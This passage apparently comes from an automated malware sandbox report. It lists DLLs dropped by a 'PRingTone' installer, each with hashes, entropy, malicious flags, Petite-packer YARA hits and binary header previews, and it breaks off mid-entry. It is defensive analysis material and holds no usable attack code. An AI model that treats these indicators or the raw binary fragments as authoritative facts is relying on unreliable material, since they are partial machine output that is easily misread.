SHA-256:	DE1A9DD251E29718176F675455592BC1904086B9235A89E6263A3085DDDCBB63
SHA-512:	08385DE11A0943A6F05AC3F8F1E309E1799D28EA50BF1CA6CEB01E128C0CD7518A64E55E8B56A4B8EF9DB3ECD2DE33D39779DCA1FBF21DE735E489A09159A1FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........V......#...&...........................d......................................@... ..............................0..t....`..P....................p.......................................................1..H............................text...d...........................`..`.data...L...........................@....rdata..\...........................@..@/4.......2.......4..................@..@.bss.....................................edata..............................@..@.idata..t....0......................@....CRT....0....@......................@....tls.........P......................@....rsrc...P....`......................@....reloc.......p......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-H0LN9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.401537154757194
Encrypted:	false
SSDEEP:	3072:rY4gILp0Vt7BMkvfHutO+eP0ZjflQf5xqkYXeo21sb2rqG70:rY4gILp0Vt77nLBCtQfjqv8qG70
MD5:	840D631DA54C308B23590AD6366EBA77
SHA1:	5ED0928667451239E62E6A0A744DA47C74E1CF89
SHA-256:	6BAD60DF9A560FB7D6F8647B75C367FDA232BDFCA2291273A21179495DAC3DB9
SHA-512:	1394A48240BA4EF386215942465BDE418C5C6ED73FC935FE7D207D2A1370155C94CDC15431985ED4E656CA6B777BA79FFC88E78FA3D99DB7E0E6EAC7D1663594
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?..R{...{...{...o...q...o.......o...i...)...W...)...t...)...j...o...x...{.......-...s...-...z...-.4.z...-...z...Rich{...........PE..L....H.a...........!.....$...........h.......@............................... ............@.............................x.......(.......................................8..............................@............@..D............................text....#.......$.................. ..`.rdata...x...@...z...(..............@..@.data.... ..........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-H37D9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36752
Entropy (8bit):	7.780431937344781
Encrypted:	false
SSDEEP:	768:E7epCl6I8YbTvEKXQ2vm+iocmmMt7KjuDnlVahRlmftuY5B:EepUv8aZvmd+7nDDalauy
MD5:	9FF783BB73F8868FA6599CDE65ED21D7
SHA1:	F515F91D62D36DC64ADAA06FA0EF6CF769376BDF
SHA-256:	E0234AF5F71592C472439536E710BA8105D62DFA68722965DF87FED50BAB1816
SHA-512:	C9D3C3502601026B6D55A91C583E0BB607BFC695409B984C0561D0CBE7D4F8BD231BC614E0EC1621C287BF0F207017D3E041694320E692FF00BC2220BFA26C26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b...........!.........n.......................................................B....@.........................P...........d.......@............s.......x..........................................................8............................................j..................@..@.rsrc.... ...........l..............@..@petite...............p..............`..`..................8..u...I.x\|}...g{...@..ffe.c4.-.Bj..........U.J.`..s.N:`..I@;..B.kbmj..E%2. `....".]&.&.).BB...E..4u'.....Q.......%....V.............5...y....E..q<w.....j...B..O...p.....X...m...= .X..........4........~~.8.F@.V...6....;?.5..)S.m.9U......^.zO!1o.F.E. ...H=`2...9.(...4).E.!G..;R.1.#.h0..(..t8..O...Td.d..~...l.a..U...b<../..W....M6...U*G..II.x........>..I[...v.N/.V..3..Y.c...Zh.i..i.....n....M..D....5o."....(.9.+..z...._$t.T...X#\...N....Q%...>U..\|....J

C:\Program Files (x86)\PRingTone\bin\x86\is-I0QQT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26126
Entropy (8bit):	6.048294343792499
Encrypted:	false
SSDEEP:	384:hhkxE9v7/GRm4v5OxlBWaEybb9p7aCyS/hU7CateHcUwSCnq6D:Yx6jGXvc5WaBb99yS/hQh
MD5:	D1223F86EDF0D5A2D32F1E2AAAF8AE3F
SHA1:	C286CA29826A138F3E01A3D654B2F15E21DBE445
SHA-256:	E0E11A058C4B0ADD3892E0BEA204F6F60A47AFC86A21076036393607235B469C
SHA-512:	7EA1FFB23F8A850F5D3893C6BB66BF95FAB2F10F236A781620E9DC6026F175AAE824FD0E03082F0CF13D05D13A8EEDE4F5067491945FCA82BBCDCF68A0109CFF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........f.........#.....6...b...............P.....h................................8-........ .........................i...................................................................Lk......................................................text....4.......6..................`.P`.data...,....P.......:..............@.0..rdata.......`.......<..............@.`@/4......T....p.......J..............@.0@.bss..................................`..edata..i............V..............@.0@.idata...............X..............@.0..CRT....,............^..............@.0..tls.................`..............@.0..reloc...............b..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-I8NI2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	227328
Entropy (8bit):	6.641153481093122
Encrypted:	false
SSDEEP:	6144:jtJXnqDMJgH50aKyumLCGTrS4ifbjoO88k:KqgHlKyumLCGTrS4inoZ
MD5:	BC824DC1D1417DE0A0E47A30A51428FD
SHA1:	C909C48C625488508026C57D1ED75A4AE6A7F9DB
SHA-256:	A87AA800F996902F06C735EA44F4F1E47F03274FE714A193C9E13C5D47230FAB
SHA-512:	566B5D5DDEA920A31E0FB9E048E28EF2AC149EF075DB44542A46671380F904427AC9A6F59FBC09FE3A4FBB2994F3CAEEE65452FE55804E403CEABC091FFAF670
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e>.a...........#.........t...V.................e.........................@......1......... .........................#....................................0...............................).......................................................text...............................`.P`.data...............................@.`..rdata..d0.......2..................@.`@.eh_framd@...@...B..................@.0@.bss.....T............................`..edata..#............T..............@.0@.idata...............^..............@.0..CRT....,............d..............@.0..tls......... .......f..............@.0..reloc.......0.......h..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-IMAIO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	31936
Entropy (8bit):	6.6461204214578
Encrypted:	false
SSDEEP:	768:SEEn30ilOAb++HynTDbc3fwaVCPxWE/MM:SEa0YOU1HgU3fwaVCPxqM
MD5:	72E3BDD0CE0AF6A3A3C82F3AE6426814
SHA1:	A2FB64D5B9F5F3181D1A622D918262CE2F9A7AA3
SHA-256:	7AC8A8D5679C96D14C15E6DBC6C72C260AAEFB002D0A4B5D28B3A5C2B15DF0AB
SHA-512:	A876D0872BFBF099101F7F042AEAF1FD44208A354E64FC18BAB496BEEC6FDABCA432A852795CFC0A220013F619F13281B93ECC46160763AC7018AD97E8CC7971
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........P.........#.....&...L...............@.....d................................8......... .........................b............................P...,...................................R......................x................................text....%.......&..................`.P`.data........@.......*..............@.`..rdata.......P.......,..............@.0@/4...........`.......2..............@.0@.bss.........p........................`..edata..b............>..............@.0@.idata...............@..............@.0..CRT....,............H..............@.0..tls.................J..............@.0..reloc...............L..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-IN8S5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	240654
Entropy (8bit):	6.518503846592995
Encrypted:	false
SSDEEP:	6144:yZDfF4DjzIHBV+bUeenu+t+oSTdjpNZ7utS81qpHW4paP2L:ekjzMBVKXeuq+oSTdjpr7N8f+L
MD5:	4F0C85351AEC4B00300451424DB4B5A4
SHA1:	BB66D807EDE0D7D86438207EB850F50126924C9D
SHA-256:	CC0B53969670C7275A855557EA16182C932160BC0F8543EFFC570F760AE2185E
SHA-512:	80C84403ED47380FF75EBA50A23E565F7E5C68C7BE8C208A5A48B7FB0798FF51F3D33780C902A6F8AB0E6DB328860C071C77B93AC88CADF84FEF7DF34DE3E2DA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....H...................`.....g.................................\........ .........................o.......\...............................t............................S.......................................................text...dF.......H..................`.P`.data...X....`.......L..............@.P..rdata.......p.......N..............@.`@/4.......<.......>...T..............@.0@.bss..................................`..edata..o...........................@.0@.idata..\...........................@.0..CRT....,...........................@.0..tls................................@.0..reloc..t...........................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-J6G3I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.423554884287906
Encrypted:	false
SSDEEP:	6144:X+dMKihenEUunaA+mVMISPCG5vHglwiaJVZkRyAHeOdrQpCklkHy+axeY0R2JdXs:MagxOOZWP2dC28d+y2e
MD5:	67247C0ACA089BDE943F802BFBA8752C
SHA1:	508DA6E0CF31A245D27772C70FFA9A2AE54930A3
SHA-256:	BAB8D388EA3AF1AABB61B8884CFAA7276A2BFD77789856DD610480C55E4D0A60
SHA-512:	C4A690A53581D3E4304188FD772C6F1DA1C72ED2237A13951ACE8879D1986423813A6F7534FF506790CB81633CEB7FF6A6239C1F852725FBACA4B40D9AE3F2DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d,.. M.. M.. M..4&..-M..4&...M..4&..3M..r8...M..r8../M..r8..1M..4&..#M.. M.._M..v8..$M..v8..!M..v8..!M..v8..!M..Rich M..........PE..L... ..a...........!.........................................................@............@.........................@...p.......(............................ ..(...P...8...............................@...............H............................text...>........................... ..`.rdata..d...........................@..@.data...H...........................@....rsrc...............................@..@.reloc..(.... ......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-JKVC3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	13838
Entropy (8bit):	5.173769974589746
Encrypted:	false
SSDEEP:	192:oh3ZZBe9xz7rdz9Us5bsRuKUYDpesWAhQqCNhNXUwS7RuLH9+E:ohLBe3dz9UsikKDGZqCNhNXUwS4bcE
MD5:	9C55B3E5ED1365E82AE9D5DA3EAEC9F2
SHA1:	BB3D30805A84C6F0803BE549C070F21C735E10A9
SHA-256:	D2E374DF7122C0676B4618AED537DFC8A7B5714B75D362BFBE85B38F47E3D4A4
SHA-512:	EEFE8793309FDC801B1649661B0C17C38406A9DAA1E12959CD20344975747D470D6D9C8BE51A46279A42FE1843C254C432938981D108F4899B93CDD744B5D968
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........6.........#.........2...............0....@m.................................Z........ ......................p..J.......h............................................................@......................................................text...............................`.P`.data...,....0......................@.0..rdata.......@......................@.0@/4...........P......................@.0@.bss.........`........................`..edata..J....p.......(..............@.0@.idata..h............*..............@.0..CRT....,............0..............@.0..tls.................2..............@.0..reloc...............4..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-K04LL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	126478
Entropy (8bit):	6.268811819718352
Encrypted:	false
SSDEEP:	3072:UnNKg6JaJUeHjiaphKMLrn8uexz3TmBUg6xcE:UNcJGGehKMLJBUg6x
MD5:	6E93C9C8AADA15890073E74ED8D400C9
SHA1:	94757DBD181346C7933694EA7D217B2B7977CC5F
SHA-256:	B6E2FA50E0BE319104B05D6A754FE38991E6E1C476951CEE3C7EBDA0DC785E02
SHA-512:	A9F71F91961C75BB32871B1EFC58AF1E1710BDE1E39E7958AE9BB2A174E84E0DD32EBAAB9F5AE37275651297D8175EFA0B3379567E0EB0272423B604B4510852
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....^...................p.....m.........................p......f......... .........................{.... ...............................P..............................X........................!...............................text....\.......^..................`.P`.data........p.......b..............@.`..rdata..h&.......(...d..............@.`@/4......\B.......D..................@.0@.bss..................................`..edata..{...........................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-K35B7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	845312
Entropy (8bit):	6.581151900686739
Encrypted:	false
SSDEEP:	24576:PgQ5Lxf4qcB5SdtFJPAYiXbJ1luVw6DbhJLJbCKShfCtk/8ou/UvfK7hs4I:H5Ng9zK5Puq7hsN
MD5:	00C672988C2B0A2CB818F4D382C1BE5D
SHA1:	57121C4852B36746146B10B5B97B5A76628F385F
SHA-256:	4E9F3E74E984B1C6E4696717AE36396E7504466419D8E4323AF3A89DE2E2B784
SHA-512:	C36CAE5057A4D904EBDB5495E086B8429E99116ACBE7D0F09FB66491F57A7FC44232448208044597316A53C7163E18C2F93336B37B302204C8AF6C8F1A9C8353
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2...va.va.va.b..fa.b...a.b..`a.$..ya.$..`a.$..1a.b..ua.va.*a. ...a. ..wa. ...wa.vat.wa. ..wa.Richva.................PE..L......c...........!.................F.......0............................... ......u.....@.......................... ...q..t...(....P.......................`..p.......T...........................8...@............0..D............................text............................... ..`.rdata...i...0...j..................@..@.data...............................@....rsrc........P.......(..............@..@.reloc..p....`......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-M9FK5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	852754
Entropy (8bit):	6.503318968423685
Encrypted:	false
SSDEEP:	12288:fpFFQV+FKJ37Dm+yY4pBkPr2v2meLaoHN/oBrZ3ixdnGVzpJXm/iN:fpnzFw37iDYIBkzuPcHNgrZ3uGVzm/iN
MD5:	07FB6D31F37FB1B4164BEF301306C288
SHA1:	4CB41AF6D63A07324EF6B18B1A1F43CE94E25626
SHA-256:	06DDF0A370AF00D994824605A8E1307BA138F89B2D864539F0D19E8804EDAC02
SHA-512:	CAB4A7C5805B80851ABA5F2C9B001FABC1416F6648D891F49EACC81FE79287C5BAA01306A42298DA722750B812A4EA85388FFAE9200DCF656DD1D5B5B9323353
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L..Y.,..v......!......... .....................a................................O}........ ......................................@.......................P..X0...........................0.......................................................text...............................`.P`.data...............................@.`..rdata..............................@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,.... ......................@.0..tls.... ....0......................@.0..rsrc........@......................@.0..reloc..X0...P...2..................@.0B/4...................&..............@.@B/19.................*..............@..B/31..........@......................@..B/45..........`......................@..B/57.................................@.0B/70.....i...............

C:\Program Files (x86)\PRingTone\bin\x86\is-MC07M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36416
Entropy (8bit):	7.842278356440954
Encrypted:	false
SSDEEP:	768:lshkyPXvH6bPACtmb8boNQdVfCXewki/OvXEApOqmFfSq1oIQMW:lsh3n5Pb8boOdVCuwNEXEAonfSq1JQb
MD5:	BEBA64522AA8265751187E38D1FC0653
SHA1:	63FFB566AA7B2242FCC91A67E0EDA940C4596E8E
SHA-256:	8C58BC6C89772D0CD72C61E6CF982A3F51DEE9AAC946E076A0273CD3AAF3BE9D
SHA-512:	13214E191C6D94DB914835577C048ADF2240C7335C0A2C2274C096114B7B75CD2CE13A76316963CCD55EE371631998FAC678FCF82AE2AE178B7813B2C35C6651
Malicious:	true
Preview:	MZ......................@...................................D.... ..PE..L....}.Q...........!................6 ............`..........................0......................................d#.......!..........@...................t...........................................................................................................................`....rsrc...........@...................@..@....................................@................ ......................`.......................................X...{.......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!... c.f.`P....h.p..j..P..C.h..`..<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I.....................]...............'..................................A...%...........

C:\Program Files (x86)\PRingTone\bin\x86\is-N8411.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17472
Entropy (8bit):	7.524548435291935
Encrypted:	false
SSDEEP:	384:IwwsQD13cT5HhSVeEQNW5kbbcGEh/qTio+lyTnGy:QRD13ySVeEOW5kbSSTHNTnr
MD5:	7B52BE6D702AA590DB57A0E135F81C45
SHA1:	518FB84C77E547DD73C335D2090A35537111F837
SHA-256:	9B5A8B323D2D1209A5696EAF521669886F028CE1ECDBB49D1610C09A22746330
SHA-512:	79C1959A689BDC29B63CA771F7E1AB6FF960552CADF0644A7C25C31775FE3458884821A0130B1BAB425C3B41F1C680D4776DD5311CE3939775A39143C873A6FE
Malicious:	false
Preview:	MZ......................@...................................D.... ..PE..L....^.L...........!....%v..%.......6........`......................................................................h..................@....................F...............................................................................................p.......8..................`....rsrc...........@....B..............@..@....................................@...........%...........................`.......................................X...x..0....j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.,..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..D..%...........\|...CC.......p......n....<.......`..............lH......)...............

C:\Program Files (x86)\PRingTone\bin\x86\is-NFO0I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35588
Entropy (8bit):	7.817557274117395
Encrypted:	false
SSDEEP:	768:dCrMZHv56WRldhmLjQDrbfc8cznHvc6modHQ:sAR0LzHvc6m2HQ
MD5:	58521D1AC2C588B85642354F6C0C7812
SHA1:	5912D2507F78C18D5DC567B2FA8D5AE305345972
SHA-256:	452EEE1E4EF2FE2E00060113CCE206E90986E2807BB966019AC4E9DEB303A9BD
SHA-512:	3988B61F6B633718DE36C0669101E438E70A17E3962A5C3A519BDECC3942201BA9C3B3F94515898BB2F8354338BA202A801B22129FC6D56598103B13364748C1
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-NFO0I.tmp, Author: Joe Security
Preview:	MZ......................@...................................D.... ..PE..L.....yX...........!.................@.......................................P............@.........................PB.......A..d.... ..@...................P........................................................A..8...............................................................@..@.rsrc........ ......................@..@.............0.........................@petite.......@......................`..`...................................._3.....g.ge..7t...R-_.R.@c.S.\..J?L.EZ.,....=H8..;.QJ.....P-)eFs93:.^...f......}..?...e...SD.......-.u.......q2...P...6..z5.T.S..P..Q....@..Mq.>....8" F...,..FE...S.[U..c......jr....b...-%...`......w..+W.C......]..#......LS....W.Y....o.8...i.[)..%(.2.t...YY .bL.....b.@&J,?l.........$..F..&...a#.\[".^...&]co....K.>...xQzw..XW.uT..+dm.o.b...@c....3..r....@]...P........{C/.....A!.&..........'....._..."S..&..F.......:.dxtK.6...7.I...Q..Nm2.....NX..fG..L..7.?..".(

C:\Program Files (x86)\PRingTone\bin\x86\is-PLOP5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19008
Entropy (8bit):	7.672481244971812
Encrypted:	false
SSDEEP:	384:dz7otnjFa4ECX3yeGjA+tSXGnUav92hca+XWRlsuG+is:po7GU+szS3W7sQ7
MD5:	8EE91149989D50DFCF9DAD00DF87C9B0
SHA1:	E5581E6C1334A78E493539F8EA1CE585C9FFAF89
SHA-256:	3030E22F4A854E11A8AA2128991E4867CA1DF33BC7B9AFF76A5E6DEEF56927F6
SHA-512:	FA04E8524DA444DD91E4BD682CC9ADEE445259E0C6190A7DEF82B8C4478A78AAA8049337079AD01F7984DBA28316D72445A0F0D876F268A062AD9B8FF2A6E58D
Malicious:	true
Preview:	MZ......................@...................................D.... ..PE..L....+vS...........!....6...6.......6........p......................................................................0..........P.......@...................tM.......................................................................................................>..................`....rsrc...........@....H..............@..@....................................@...........6...........................`.......................................D...n'......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.5..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X............f.......Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..K..........(...\|...}K...................E..K....p..j...g........Q..........y...........

C:\Program Files (x86)\PRingTone\bin\x86\is-R69AB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214016
Entropy (8bit):	6.676457645865373
Encrypted:	false
SSDEEP:	3072:v3UEEkp2yVTcc295GSSazZq0/OlxAOxN5jZ2Ti30ezAg0Fu9RBhk1Xion:cEEpYcc2G/adqLtxLZ2+vAO9Hhkzn
MD5:	2C747F19BF1295EBBDAB9FB14BB19EE2
SHA1:	6F3B71826C51C739D6BB75085E634B2B2EF538BC
SHA-256:	D2074B91A63219CFD3313C850B2833CD579CC869EF751B1F5AD7EDFB77BD1EDD
SHA-512:	C100C0A5AF52D951F3905884E9B9D0EC1A0D0AEBE70550A646BA6E5D33583247F67CA19E1D045170A286D92EE84E1676A6C1B0527E017A35B6242DD9DEE05AF4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}6,.9WB.9WB.9WB...9.:WB.9WC.hWB....;WB."..&WB."..WB."...WB.9WB.?WB."..8WB."..8WB."..8WB.Rich9WB.........PE..L......W...........!.....N...........n.......`............................................@.........................`...h.......(....`..X....................p.......................................................`...............................text...?L.......N.................. ..`.rdata......`.......R..............@..@.data....W.......2..................@....rsrc...X....`......................@..@.reloc..f&...p...(..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-SK5Q6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	62478
Entropy (8bit):	6.063363187934607
Encrypted:	false
SSDEEP:	768:q3s6+NMpjqudP/XB9rGCWLEc6wY3U0LvDcb0wGNPdqdRJy/5f4mdajO42iySAqB:q8zNM1nBId/ce7GNP6m/5AQGySAs
MD5:	940EEBDB301CB64C7EA2E7FA0646DAA3
SHA1:	0347F029DA33C30BBF3FB067A634B49E8C89FEC2
SHA-256:	B0B56F11549CE55B4DC6F94ECBA84AEEDBA4300D92F4DC8F43C3C9EEEFCBE3C5
SHA-512:	50D455C16076C0738FB1FECAE7705E2C9757DF5961D74B7155D7DFB3FAB671F964C73F919CC749D100F6A90A3454BFF0D15ED245A7D26ABCAA5E0FDE3DC958FD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................k.........................`................ .........................r.......D............................P..\|.......................................................\............................text...............................`.P`.data...0...........................@.0..rdata..8...........................@.`@/4......L...........................@.0@.bss..................................`..edata..r...........................@.0@.idata..D...........................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc..\|....P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-TL5BN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11532
Entropy (8bit):	7.219753259626605
Encrypted:	false
SSDEEP:	192:Dqv1jf+0vAe7Dl+JTGxuK5Rbfh70Il9MWbzq6UWkE0FGemexbiJi8TK0Q2:m9KIAeNgTGxu2Jfh1DMSzqKkvFGLJi85
MD5:	073F34B193F0831B3DD86313D74F1D2A
SHA1:	3DF5592532619C5D9B93B04AC8DBCEC062C6DD09
SHA-256:	C5EEC9CD18A344227374F2BC1A0D2CE2F1797CFFD404A0A28CF85439D15941E9
SHA-512:	EEFD583D1F213E5A5607C2CFBAED39E07AEC270B184E61A1BA0B5EF67ED7AC5518B5C77345CA9BD4F39D2C86FCD261021568ED14945E7A7541ADF78E18E64B0C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-TL5BN.tmp, Author: Joe Security
Preview:	MZ......................@...................................D.... ..PE..L.....V...........!.........(...............P............................................@.........................P...........d....p..8...................82.........................................................8....................................`.......$..................@..@.rsrc........p.......&..............@..@.......................................@petite.............................`..`....................................#..L....y......"......O/..M...C.A.&:.e.i..l....CP...g.AK..S;.lf.?.g....].k.U.G.Y.J.",......%....:ge.D x.P }}..Tih.g......%G.Iy.j...\...S...s..$..........o..y..........,.........-..X.....v.M1..'...5R.4..8k!..q.=BVST<..M.E.._T.p...K.r....C.HEO....\..%%,I....>'.L.ct..{..I..l.Y#f Tk...:bH?.....G..Y.p..Q.....z/R.h>8....]S.....p.c/.m..6tc.d..(..{...=w4.w.^..d.....^..Tp.....Z..).Z."...&.-...o...xD+0.L+!...X.%?)+.P..Z.......P..F..P.".._.%9.^T;(..Y.>.. .....re

C:\Program Files (x86)\PRingTone\bin\x86\is-TQ7HB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	394752
Entropy (8bit):	6.662070316214798
Encrypted:	false
SSDEEP:	6144:uAlmRfeS+mOxv8bgDTuXU54l8WybBE36IpuIT9nxQPQnhH/a0CRdWqWJwGKp:zlm0S+SEuXU54NylJIJ9KPQnhilRsVJ
MD5:	A4123DE65270C91849FFEB8515A864C4
SHA1:	93971C6BB25F3F4D54D4DF6C0C002199A2F84525
SHA-256:	43A9928D6604BF604E43C2E1BAB30AE1654B3C26E66475F9488A95D89A4E6113
SHA-512:	D0834F7DB31ABA8AA9D97479938DA2D4CD945F76DC2203D60D24C75D29D36E635C2B0D97425027C4DEBA558B8A41A77E288F73263FA9ABC12C54E93510E3D384
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......KL...-d..-d..-d..U...-d..Be..-d.TEe..-d..-e.:-d..Ba..-d..B`..-d..Bg..-d..B`.c-d..Bd..-d..B...-d..Bf..-d.Rich.-d.........................PE..L.....b`...........!.....L..........+S.......`...............................P............@.................................L........... .................... ..\ ..$...............................@...@............`...............................text...NK.......L.................. ..`.rdata......`.......P..............@..@.data...............................@....rsrc... ...........................@..@.reloc..\ ... ..."..................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-TTVKI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	34392
